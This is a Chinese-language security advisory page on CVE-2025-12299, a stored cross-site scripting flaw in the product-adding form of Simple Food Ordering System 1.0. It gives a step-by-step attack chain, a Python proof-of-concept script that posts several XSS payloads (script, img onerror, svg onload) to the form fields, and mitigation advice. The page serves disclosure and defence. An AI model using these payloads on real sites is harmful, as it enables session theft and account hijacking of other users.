IPBUF安全漏洞报告
English
CVE-2025-12299 CVSS 4.3 中危

CVE-2025-12299: Simple Food Ordering System 1.0 跨站脚本漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12299
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
code-projects Simple Food Ordering System 1.0

相关标签

CVE-2025-12299跨站脚本攻击XSS存储型XSSSimple Food Ordering Systemcode-projectsWeb应用安全PHPaddproduct.php

漏洞概述

CVE-2025-12299是code-projects团队开发的Simple Food Ordering System 1.0版本中存在的存储型跨站脚本(XSS)安全漏洞。该漏洞位于/addproduct.php文件中的产品添加功能模块,攻击者可以通过在产品名称(pname)、类别(category)或价格(price)参数中注入恶意JavaScript代码来实现跨站脚本攻击。由于该系统在添加产品时未对用户输入进行充分的输入验证和输出编码,恶意脚本会被存储在服务器端数据库中,当其他用户访问相关页面时,存储的恶意代码会在其浏览器中执行,从而窃取用户会话cookie、劫持用户账号或进行其他恶意操作。此漏洞的CVSS评分为4.3,属于中等严重程度,攻击复杂度低,但需要用户交互才能触发。攻击者可利用该漏洞对系统的其他用户发起钓鱼攻击、窃取敏感信息或传播恶意内容,对系统的安全性和用户隐私构成威胁。

技术细节

该漏洞属于存储型XSS(Stored XSS)漏洞,攻击向量为网络远程攻击,无需认证即可发起攻击,但需要用户交互触发。漏洞存在于addproduct.php文件的产品添加功能中,具体受影响的参数包括pname(产品名称)、category(产品类别)和price(产品价格)三个输入字段。攻击者可以通过构造特殊的Payload,如在产品名称字段中注入<script>alert(document.cookie)</script>或<img src=x onerror=alert(1)>等恶意代码片段。由于应用程序在处理这些输入时仅进行了基本的数据接收而缺乏严格的输入验证和输出编码,恶意脚本会被直接存储到数据库中。当管理员或其他用户查看产品列表或产品详情页面时,服务器会从数据库中读取并展示这些未经过滤的内容,导致恶意JavaScript代码在受害者浏览器中执行。攻击者可以利用此漏洞窃取受害者的认证令牌、会话ID,修改页面内容进行钓鱼攻击,或利用受害者的身份进行进一步的操作。漏洞的利用需要攻击者具备基本的Web安全知识,能够构造和发送恶意请求。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统为Simple Food Ordering System 1.0,确认存在/addproduct.php端点
STEP 2
步骤2: 构造恶意Payload
攻击者构造XSS恶意代码,如<script>alert(document.cookie)</script>,针对pname、category或price参数
STEP 3
步骤3: 发送恶意请求
攻击者向/addproduct.php发送POST请求,在产品参数中注入恶意脚本,由于缺少输入验证,脚本被存储到数据库
STEP 4
步骤4: 等待用户触发
当管理员或其他用户访问产品列表或详情页面时,服务器从数据库读取并展示未经过滤的内容
STEP 5
步骤5: 脚本执行与攻击完成
恶意JavaScript代码在受害者浏览器中执行,攻击者可窃取Cookie、会话令牌,或进行钓鱼攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-12299 PoC - Simple Food Ordering System 1.0 XSS Vulnerability Target: /addproduct.php Parameters: pname, category, price """ import requests import sys def exploit_xss(target_url, payload): """ Exploit stored XSS vulnerability in Simple Food Ordering System 1.0 Args: target_url: Base URL of the vulnerable application payload: Malicious JavaScript payload to inject Returns: bool: True if exploitation successful, False otherwise """ # Target endpoint for adding products add_product_url = f"{target_url}/addproduct.php" # Malicious payload for XSS injection # Using various XSS techniques to bypass basic filters xss_payloads = [ payload, "<script>alert(String.fromCharCode(88,83,83))</script>", "<img src=x onerror=alert(document.cookie)>", "<svg/onload=alert(document.domain)>", "javascript:alert(String.fromCharCode(88,83,83))" ] for xss_payload in xss_payloads: # Data to be submitted - simulating product addition data = { 'pname': xss_payload, # Product name parameter 'category': xss_payload, # Category parameter 'price': '99.99' # Price parameter } try: # Send POST request with malicious payload response = requests.post(add_product_url, data=data, timeout=10) # Check if request was successful if response.status_code == 200: print(f"[+] Payload sent successfully: {xss_payload}") print(f"[+] Response status: {response.status_code}") return True else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error sending request: {e}") continue return False def verify_vulnerability(target_url): """ Verify that the XSS vulnerability exists by checking if payload is reflected """ # This would require checking the product listing page # to see if the injected script is executed print("[*] Manual verification required:") print(f"[*] 1. Visit {target_url}/addproduct.php") print("[*] 2. Submit a product with XSS payload in pname/category/price") print("[*] 3. Visit the product listing page to trigger the XSS") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-12299.py <target_url> [payload]") print("Example: python3 cve-2025-12299.py http://localhost/Simple-Food-Ordering-System") sys.exit(1) target = sys.argv[1] payload = sys.argv[2] if len(sys.argv) > 2 else "<script>alert('XSS')</script>" print(f"[*] Exploiting CVE-2025-12299 on {target}") print(f"[*] Using payload: {payload}") exploit_xss(target, payload) verify_vulnerability(target)

影响范围

Simple Food Ordering System 1.0

防御指南

临时缓解措施
在修复前,可采取以下临时缓解措施:1)限制普通用户访问/addproduct.php功能,仅允许受信任的管理员使用;2)在前端和后端同时实施输入验证,过滤或移除<script>、<img>、<svg>等HTML标签和javascript:伪协议;3)启用HttpOnly和Secure标志保护Cookie,防止JavaScript访问;4)对产品列表等输出页面实施严格的输出编码;5)使用Web应用防火墙规则拦截包含XSS特征的请求;6)监控和日志记录所有产品添加操作,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表